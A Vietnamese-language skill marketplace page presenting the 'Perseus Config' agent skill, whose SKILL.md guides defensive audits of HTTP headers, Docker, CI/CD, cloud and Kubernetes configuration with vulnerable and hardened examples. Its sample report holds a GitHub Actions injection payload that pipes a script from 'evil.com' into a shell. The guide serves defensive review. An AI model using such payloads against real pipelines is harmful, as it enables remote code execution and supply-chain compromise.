Logo Perseus Config

Perseus Config

Cộng đồng
kaivyy
perseus-config

Security configuration analysis (Headers, CORS, Docker, CI/CD, Cloud, K8s)

Add to TypingMind

Tổng quan

Nhà phát hànhkaivyy
Kho mãperseus
Tên kỹ năngperseus-config
Sao
68
Bản fork
14
Tệp đi kèm
Chỉ có hướng dẫn
Giấy phépMIT
Liên kết
  • Hướng dẫn bằng Markdown

    Tệp SKILL.md được mô hình tải khi cần, nên chỉ tốn token khi có yêu cầu thực sự phù hợp.

  • Dùng được với mọi LLM

    Kỹ năng AI dùng hướng dẫn viết bằng Markdown thay vì mã dành riêng cho một nhà cung cấp, nên dùng được với GPT, Claude, Gemini, Grok hoặc mô hình cục bộ.

  • Hướng dẫn có đủ mọi thứ cần thiết

    Mọi thứ mô hình cần đều nằm trong hướng dẫn — không có tệp bổ sung cần đồng bộ.

  • Mã nguồn mở

    Được kaivyy công bố trên GitHub. Hãy đọc các tệp nguồn trước khi cài đặt.

Cài đặt

Cài đặt kỹ năng AI Perseus Config trong TypingMind để dùng với bất kỳ LLM nào, hoặc thêm vào một tác nhân AI khác có thể đọc SKILL.md.

1

Cài đặt trong TypingMind

TypingMind cài đặt kỹ năng trực tiếp từ thư mục GitHub — đọc SKILL.md, đóng gói các tệp tài nguyên và lưu kết quả trên máy.

  1. Mở ứng dụng và vào Plugin → Kỹ năng.
  2. Chọn "Cài đặt từ GitHub".
  3. Dán URL của thư mục kỹ năng được hiển thị bên dưới rồi xác nhận.
    https://github.com/kaivyy/perseus/tree/main/skills/perseus/specialists/config
  4. Bật kỹ năng trong từng cuộc trò chuyện mà bạn muốn sử dụng kỹ năng đó.
Plugin → Kỹ năng → Thêm kỹ năng → Từ URL GitHub, sau đó dán URL thư mục và nhấn Tiếp tục.
2

Cài đặt trong tác nhân AI khác

Bất kỳ tác nhân AI nào đọc được định dạng Agent Skills đều có thể dùng kỹ năng này — hãy sao chép thư mục vào thư mục kỹ năng của tác nhân AI đó.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/kaivyy/perseus.git /tmp/perseus
mkdir -p .claude/skills
cp -r /tmp/perseus/skills/perseus/specialists/config .claude/skills/perseus-config
Khởi động lại Claude Code sau khi sao chép để ứng dụng nhận kỹ năng mới.

Sử dụng trong TypingMind

Bật Perseus Config trong bất kỳ cuộc trò chuyện nào trên TypingMind, mô hình sẽ tự xử lý phần còn lại. Tên và mô tả của kỹ năng nằm trong prompt hệ thống. Ngay khi có yêu cầu phù hợp, mô hình tự tải toàn bộ hướng dẫn — bạn không cần gọi thủ công và kỹ năng không tốn token cho đến khi thực sự được dùng.

Mô hình tự nạp Perseus Config ngay khi có yêu cầu phù hợp.

Dùng được với mọi mô hình AI

Kỹ năng AI là các hướng dẫn Markdown thuần túy, không phải mã dành riêng cho một nhà cung cấp, nên bạn có thể dùng Perseus Config với cả những mô hình khác ngoài mô hình ban đầu. Chỉ cần cài đặt một lần trong TypingMind rồi dùng với GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama hoặc mô hình cục bộ do bạn tự chạy — tất cả đều dùng khóa API của riêng bạn.

  • Chỉ tải khi cần

    Prompt hệ thống chỉ chứa tên và mô tả. Hướng dẫn được tải khi có yêu cầu phù hợp đầu tiên, nên khi kỹ năng chưa được dùng, bạn không tốn token cho phần hướng dẫn.

  • Đổi mô hình ngay trong cuộc trò chuyện

    Vì kỹ năng là hướng dẫn chứ không phải mã, việc đổi mô hình không làm kỹ năng ngừng hoạt động — mô hình tiếp theo vẫn đọc cùng tệp SKILL.md.

Hướng dẫn của kỹ năng

Đây là nội dung SKILL.md mà mô hình tải. Hãy đọc trước khi cài đặt — kỹ năng là những hướng dẫn mà mô hình của bạn sẽ làm theo.

Perseus Configuration Specialist

Context & Authorization

IMPORTANT: This skill performs security configuration analysis on the user's own codebase. This is defensive security testing to ensure proper security hardening.

Authorization: The user owns this codebase and has explicitly requested this specialized analysis.


Multi-Language & Platform Support

CategoryTechnologies
Web FrameworksExpress, Fastify, Next.js, Go/Gin, PHP/Laravel, Python/FastAPI, Rust/Actix
ContainersDocker, Podman, containerd
OrchestrationKubernetes, Docker Compose, Docker Swarm
CI/CDGitHub Actions, GitLab CI, Jenkins, CircleCI, Azure DevOps
CloudAWS, GCP, Azure, DigitalOcean, Vercel, Netlify
IaCTerraform, Pulumi, CloudFormation, Ansible

Overview

This specialist skill analyzes security configuration including HTTP headers, TLS settings, CORS policies, container security, CI/CD pipelines, and cloud configurations.

When to Use: As part of any security assessment, or specifically when reviewing deployment configuration.

Goal: Ensure all security configurations follow best practices and don't introduce vulnerabilities.

Engagement Mode Compatibility

ModeSpecialist Behavior
PRODUCTION_SAFEConfiguration and manifest analysis with passive verification
STAGING_ACTIVEControlled config validation with limited active checks
LAB_FULLBroad environment hardening validation in lab
LAB_RED_TEAMDefensive stress simulation for infra misconfig chains in isolated lab

Safety Gates (Required)

  1. Read deliverables/engagement_profile.md before active infra validation.
  2. Default to PRODUCTION_SAFE if engagement mode is missing.
  3. Enforce kill-switch thresholds and stop on environment instability.
  4. Never modify live infrastructure state without explicit approval.

Configuration Risks Covered

RiskDescriptionImpact
Missing Security HeadersNo CSP, HSTS, X-Frame-OptionsXSS, clickjacking
CORS MisconfigurationOverly permissive originsData theft
Insecure CookiesMissing Secure, HttpOnly, SameSiteSession hijacking
Debug ModeProduction debug enabledInfo disclosure
Docker MisconfigRoot user, privileged modeContainer escape
CI/CD SecretsExposed secrets, injectionSupply chain attack
Cloud MisconfigPublic buckets, open security groupsData breach
K8s InsecurityNo RBAC, privileged podsCluster compromise

Execution Instructions

Step 0: Mode & Scope Alignment

  • Load mode/scope/limits from deliverables/engagement_profile.md.
  • Respect deliverables/verification_scope.md when present.
  • Keep production checks read-only and non-disruptive.

Phase 1: HTTP Security Headers (3 Parallel Agents)

  1. CSP Analyst:

    • "Find Content Security Policy configuration across frameworks."

    Framework-Specific:

    javascript
    // Express/Helmet
    app.use(helmet.contentSecurityPolicy({ directives: {...} }));
    
    // Next.js - next.config.js
    headers: [{ key: 'Content-Security-Policy', value: '...' }]
    go
    // Go/Gin
    c.Header("Content-Security-Policy", "default-src 'self'")
    python
    # Django
    CSP_DEFAULT_SRC = ("'self'",)
    
    # FastAPI
    response.headers["Content-Security-Policy"] = "..."
    php
    // Laravel
    header('Content-Security-Policy: default-src \'self\'');
  2. Security Headers Analyst:

    • "Check for all security headers across languages."

    Headers to Check:

    HeaderPurposeRecommended Value
    Strict-Transport-SecurityForce HTTPSmax-age=31536000; includeSubDomains
    X-Frame-OptionsPrevent clickjackingDENY or SAMEORIGIN
    X-Content-Type-OptionsPrevent MIME sniffingnosniff
    Referrer-PolicyControl referrerstrict-origin-when-cross-origin
    Permissions-PolicyLimit browser featuresDisable unused features
  3. Cookie Security Analyst:

    • "Find all cookie setting operations across languages."

    Patterns:

    javascript
    // Express - Check flags
    res.cookie('session', value, { secure: true, httpOnly: true, sameSite: 'strict' });
    go
    // Go
    http.SetCookie(w, &http.Cookie{Secure: true, HttpOnly: true, SameSite: http.SameSiteStrictMode})
    php
    // PHP
    setcookie('session', $value, ['secure' => true, 'httponly' => true, 'samesite' => 'Strict']);
    python
    # FastAPI/Starlette
    response.set_cookie(key, value, secure=True, httponly=True, samesite='strict')

Phase 2: Docker Security Analysis (4 Parallel Agents)

  1. Dockerfile Analyst:

    • "Analyze all Dockerfiles for security issues."

    Issues to Find:

    dockerfile
    # VULNERABLE - Running as root
    FROM node:18
    COPY . .
    CMD ["node", "app.js"]
    
    # SAFE - Non-root user
    FROM node:18
    RUN addgroup -S app && adduser -S app -G app
    USER app
    COPY --chown=app:app . .
    CMD ["node", "app.js"]

    Checks:

    • Running as root (no USER directive)
    • Using latest tag
    • Secrets in build args or ENV
    • Unnecessary packages installed
    • No health check
    • Exposed unnecessary ports
  2. Docker Compose Analyst:

    • "Analyze docker-compose files for security issues."

    Issues:

    yaml
    # VULNERABLE
    services:
      app:
        privileged: true          # Container escape
        network_mode: host        # No network isolation
        volumes:
          - /:/host               # Host filesystem access
        cap_add:
          - ALL                   # All capabilities
    
    # SAFE
    services:
      app:
        read_only: true
        security_opt:
          - no-new-privileges:true
        cap_drop:
          - ALL
  3. Container Secrets Analyst:

    • "Check for secrets in container configurations."

    Patterns:

    dockerfile
    # VULNERABLE
    ENV DATABASE_PASSWORD=secret123
    ARG API_KEY=sk-xxx
    COPY .env /app/.env
  4. Image Security Analyst:

    • "Check base image security and update status."

    Checks:

    • Using official images
    • Pinned versions (not latest)
    • Multi-stage builds for smaller attack surface
    • Distroless/Alpine for minimal images

Phase 3: CI/CD Security Analysis (4 Parallel Agents)

  1. GitHub Actions Analyst:

    • "Analyze GitHub Actions workflows for security issues."

    Critical Issues:

    yaml
    # VULNERABLE - Command injection
    - run: echo "${{ github.event.issue.title }}"
    
    # SAFE - Use environment variable
    - run: echo "$TITLE"
      env:
        TITLE: ${{ github.event.issue.title }}
    
    # VULNERABLE - Pull request target with checkout
    on: pull_request_target
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # Dangerous!
    
    # VULNERABLE - Secrets in logs
    - run: curl -H "Authorization: ${{ secrets.API_KEY }}" $URL

    Checks:

    • Command injection via event data
    • Secrets exposure in logs
    • Overly permissive permissions
    • Using unverified actions
    • pull_request_target misuse
  2. GitLab CI Analyst:

    • "Analyze .gitlab-ci.yml for security issues."

    Issues:

    yaml
    # VULNERABLE
    script:
      - echo $CI_JOB_TOKEN  # Token exposure
      - curl "$USER_INPUT"   # Injection
    
    # Check for:
    # - Unprotected variables
    # - Scripts with user input
    # - Exposed tokens
  3. Secrets Management Analyst:

    • "Check how secrets are managed in CI/CD."

    Checks:

    • Secrets in workflow files
    • Secrets in repository
    • Secrets passed to forks
    • Secrets in build logs
    • Environment variable exposure
  4. Pipeline Permissions Analyst:

    • "Check CI/CD permissions and access controls."

    GitHub Actions Permissions:

    yaml
    # VULNERABLE - Too permissive
    permissions: write-all
    
    # SAFE - Minimal permissions
    permissions:
      contents: read
      pull-requests: write

Phase 4: Cloud Configuration Analysis (4 Parallel Agents)

  1. AWS Configuration Analyst:

    • "Analyze AWS configurations for security issues."

    Check Files:

    • *.tf (Terraform)
    • template.yaml (CloudFormation)
    • serverless.yml
    • .aws/ configs

    Issues:

    hcl
    # VULNERABLE - Public S3
    resource "aws_s3_bucket" "data" {
      acl = "public-read"
    }
    
    # VULNERABLE - Open security group
    resource "aws_security_group" "web" {
      ingress {
        from_port   = 0
        to_port     = 65535
        cidr_blocks = ["0.0.0.0/0"]
      }
    }
    
    # VULNERABLE - Hardcoded credentials
    provider "aws" {
      access_key = "AKIA..."
      secret_key = "..."
    }
  2. GCP/Azure Configuration Analyst:

    • "Analyze GCP and Azure configurations."

    GCP Issues:

    hcl
    # VULNERABLE - Public GCS
    resource "google_storage_bucket_iam_member" "public" {
      member = "allUsers"
      role   = "roles/storage.objectViewer"
    }
  3. Serverless Configuration Analyst:

    • "Analyze serverless configurations (Vercel, Netlify, AWS Lambda)."

    Check:

    • Environment variables in config
    • Overly permissive IAM roles
    • Public function URLs
    • Missing authentication
  4. Infrastructure as Code Analyst:

    • "Check Terraform, Pulumi, Ansible for security issues."

    Terraform Issues:

    hcl
    # VULNERABLE - No encryption
    resource "aws_ebs_volume" "data" {
      encrypted = false
    }
    
    # VULNERABLE - Default VPC
    resource "aws_instance" "web" {
      # No VPC specified, uses default
    }

Phase 5: Kubernetes Security Analysis (4 Parallel Agents)

  1. Pod Security Analyst:

    • "Analyze Kubernetes pod/deployment manifests."

    Issues:

    yaml
    # VULNERABLE
    spec:
      containers:
        - name: app
          securityContext:
            privileged: true           # Container escape
            runAsRoot: true            # Root user
            allowPrivilegeEscalation: true
          volumeMounts:
            - mountPath: /host
              name: host-root          # Host filesystem
    
    # SAFE
    spec:
      securityContext:
        runAsNonRoot: true
        runAsUser: 1000
      containers:
        - name: app
          securityContext:
            allowPrivilegeEscalation: false
            readOnlyRootFilesystem: true
            capabilities:
              drop: ["ALL"]
  2. RBAC Analyst:

    • "Analyze Kubernetes RBAC configurations."

    Issues:

    yaml
    # VULNERABLE - Cluster admin to all
    apiVersion: rbac.authorization.k8s.io/v1
    kind: ClusterRoleBinding
    subjects:
      - kind: ServiceAccount
        name: default
    roleRef:
      kind: ClusterRole
      name: cluster-admin
  3. Network Policy Analyst:

    • "Check Kubernetes network policies."

    Issues:

    • No network policies (all pods can communicate)
    • Overly permissive ingress/egress
    • Missing pod selectors
  4. Secrets & ConfigMap Analyst:

    • "Analyze Kubernetes secrets management."

    Issues:

    yaml
    # VULNERABLE - Plain text secret
    apiVersion: v1
    kind: Secret
    data:
      password: cGFzc3dvcmQ=  # Base64, not encryption!
    
    # Check for:
    # - Secrets in ConfigMaps
    # - Unencrypted secrets
    # - Secrets mounted as environment variables
    # - Missing RBAC on secrets

Phase 6: Application Configuration (3 Parallel Agents)

  1. Debug Mode Analyst:

    • "Check for debug/development mode in production configs."

    Patterns:

    javascript
    // Node.js
    DEBUG = true
    NODE_ENV = 'development'
    python
    # Django
    DEBUG = True
    # Flask
    app.run(debug=True)
    php
    // Laravel
    APP_DEBUG=true
    go
    // Go
    gin.SetMode(gin.DebugMode)
  2. Error Handling Analyst:

    • "Check error responses for information disclosure."
  3. Environment Variables Analyst:

    • "Check .env files and environment variable handling."

    Issues:

    • .env files in repository
    • Secrets in .env.example
    • Missing .env in .gitignore
    • Secrets logged

Output Requirements

Create deliverables/config_security_analysis.md:

markdown
# Security Configuration Analysis

## Summary
| Category | Checks | Pass | Fail | Critical |
|----------|--------|------|------|----------|
| HTTP Headers | X | Y | Z | W |
| Cookies | X | Y | Z | W |
| Docker | X | Y | Z | W |
| CI/CD | X | Y | Z | W |
| Cloud (AWS/GCP/Azure) | X | Y | Z | W |
| Kubernetes | X | Y | Z | W |
| App Config | X | Y | Z | W |

## Technologies Detected
- Framework: [e.g., Next.js, Go/Gin]
- Container: Docker, Kubernetes
- CI/CD: GitHub Actions
- Cloud: AWS

## Critical Findings

### [CONFIG-001] GitHub Actions Command Injection
**Severity:** Critical
**Location:** `.github/workflows/pr.yml:23`

**Vulnerable Code:**
```yaml
- run: |
    echo "PR Title: ${{ github.event.pull_request.title }}"

Attack: Attacker creates PR with title: "; curl evil.com/shell.sh | sh #

Remediation:

yaml
- run: echo "PR Title: $TITLE"
  env:
    TITLE: ${{ github.event.pull_request.title }}

[CONFIG-002] Privileged Docker Container

Severity: Critical Location: docker-compose.yml:15

Vulnerable Code:

yaml
services:
  app:
    privileged: true

Impact: Container escape, host compromise


[CONFIG-003] Public S3 Bucket

Severity: Critical Location: terraform/storage.tf:8


Docker Security Checklist

CheckStatusFile
Non-root userFAILDockerfile
No secrets in imagePASS-
Pinned base imageFAILDockerfile
Read-only filesystemFAILdocker-compose.yml
Dropped capabilitiesFAILdocker-compose.yml

CI/CD Security Checklist

CheckStatusFile
No command injectionFAILpr.yml
Minimal permissionsFAILbuild.yml
No secrets in logsPASS-
Verified actions onlyWARNdeploy.yml

Kubernetes Security Checklist

CheckStatusFile
Non-root podsFAILdeployment.yaml
Network policiesMISSING-
RBAC configuredWARNrbac.yaml
Secrets encryptedFAILsecrets.yaml

Cloud Security Checklist

CheckStatusResource
No public bucketsFAILS3: data-bucket
Encrypted storagePASSEBS volumes
Restricted security groupsFAILsg-web
No hardcoded credentialsPASS-

Recommendations

Immediate Actions

  1. Fix GitHub Actions command injection
  2. Remove privileged mode from containers
  3. Make S3 bucket private
  4. Add USER directive to Dockerfile

Security Hardening

yaml
# Recommended Kubernetes securityContext
securityContext:
  runAsNonRoot: true
  runAsUser: 1000
  allowPrivilegeEscalation: false
  readOnlyRootFilesystem: true
  capabilities:
    drop: ["ALL"]
yaml
# Recommended GitHub Actions permissions
permissions:
  contents: read
  pull-requests: write

**Next Step:** Configuration issues are typically binary (secure or not) and don't require exploit verification.

Câu hỏi thường gặp

Kỹ năng AI Perseus Config làm được gì?

Security configuration analysis (Headers, CORS, Docker, CI/CD, Cloud, K8s)

Vì sao nên dùng Perseus Config trên TypingMind?

Vì bạn chỉ cần cài một lần rồi dùng với bất kỳ mô hình nào. Perseus Config là nội dung Markdown chứ không phải mã dành riêng cho từng nhà cung cấp, nên cùng một kỹ năng có thể chạy trên GPT-5, Claude, Gemini, Grok hoặc mô hình trên thiết bị — và bạn có thể đổi mô hình ngay trong cuộc trò chuyện mà kỹ năng vẫn hoạt động. TypingMind dùng khóa API riêng của bạn, nên bạn thanh toán trực tiếp cho nhà cung cấp thay vì trả phí thuê bao theo suất người dùng, đồng thời kỹ năng và các cuộc trò chuyện vẫn nằm trong bộ lưu trữ của bạn.

Làm thế nào để cài Perseus Config trong TypingMind?

Mở Plugin → Kỹ năng → Cài đặt từ GitHub trong TypingMind rồi dán https://github.com/kaivyy/perseus/tree/main/skills/perseus/specialists/config. TypingMind đọc tệp SKILL.md rồi cài đặt kỹ năng để bạn có thể bật cho từng cuộc trò chuyện.

Những mô hình AI nào có thể dùng Perseus Config?

Bất kỳ mô hình nào bạn kết nối trong TypingMind. Kỹ năng AI là các hướng dẫn bằng Markdown chứ không phải mã dành riêng cho từng nhà cung cấp, nên GPT, Claude, Gemini, Grok và các mô hình chạy trên thiết bị đều có thể tải kỹ năng này khi có yêu cầu phù hợp.

Có thể dùng Perseus Config với bao nhiêu mô hình AI?

Bao nhiêu cũng được. Miễn là mô hình hỗ trợ kỹ năng, bạn có thể dùng Perseus Config với mô hình đó — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama và nhiều mô hình khác — tất cả đều trên TypingMind với khóa API riêng của bạn.

Kỹ năng AI Perseus Config có miễn phí không?

Có. Kỹ năng này được kaivyy phát hành trên GitHub theo giấy phép MIT. Bạn chỉ trả tiền cho nhà cung cấp AI của mình theo số token đã dùng.

Kỹ năng AI là gì?

Kỹ năng AI là một gói hướng dẫn có thể tái sử dụng, chỉ cho mô hình AI cách thực hiện một tác vụ cụ thể. Kỹ năng tuân theo định dạng mở Agent Skills: một tệp SKILL.md chứa tên và mô tả, cùng các tập lệnh, mẫu hoặc tệp tham khảo mà mô hình có thể cần. Mô hình chỉ đọc hướng dẫn khi yêu cầu của bạn phù hợp với kỹ năng, nên kỹ năng đã cài đặt không phát sinh chi phí cho đến khi được sử dụng.

Kỹ năng AI khác gì với plugin hoặc máy chủ MCP?

Plugin hoặc máy chủ MCP cung cấp các công cụ mới mà mô hình có thể gọi. Khi mô hình gọi một công cụ, mã của công cụ đó chạy ở đâu đó và trả về kết quả. Còn kỹ năng AI cung cấp kiến thức và quy trình: cách tiếp cận tác vụ, các bước cần thực hiện và những tiêu chí mà kết quả cần đáp ứng. Kỹ năng chỉ là nội dung Markdown, nên không cần máy chủ, khóa API hay môi trường thực thi và hoạt động với mọi mô hình.

Xem tất cả

Tạo ngay không gian làm việc AI riêng

Đăng ký bản tin của chúng tôi để nhận thông báo về tính năng mới và các đợt tặng quà sắp tới 👇